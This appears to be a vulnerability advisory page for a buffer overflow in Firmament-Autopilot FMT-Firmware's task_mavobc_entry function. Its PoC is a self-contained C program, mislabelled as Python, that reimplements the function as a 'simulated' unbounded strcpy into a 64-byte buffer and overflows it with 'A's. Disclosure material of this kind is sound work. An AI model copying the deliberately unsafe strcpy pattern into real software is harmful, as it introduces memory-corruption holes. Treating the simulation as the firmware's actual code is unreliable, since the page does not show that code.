Firmament-Autopilot FMT-Firmware commit de5aec was discovered to contain a buffer overflow via the task_mavobc_entry function at /comm/task_comm.c.
CVSS Details
CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Configurations (Affected Products)
No configuration data available.
Firmament-Autopilot FMT-Firmware commit de5aec
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <stdio.h>
#include <string.h>
// Simulated vulnerable function in task_comm.c
void task_mavobc_entry(char *input) {
char buffer[64];
// Vulnerability: No bounds checking (strcpy)
strcpy(buffer, input);
printf("Data received: %s\n", buffer);
}
int main() {
// PoC: Construct payload larger than buffer size to trigger overflow
// In a real scenario, this would be sent over the network via MAVLink
char exploit_payload[128];
memset(exploit_payload, 'A', sizeof(exploit_payload) - 1);
exploit_payload[sizeof(exploit_payload) - 1] = '\0';
printf("[+] Sending malicious payload to trigger overflow...\n");
task_mavobc_entry(exploit_payload);
printf("[+] Crash/Exploit occurred.\n");
return 0;
}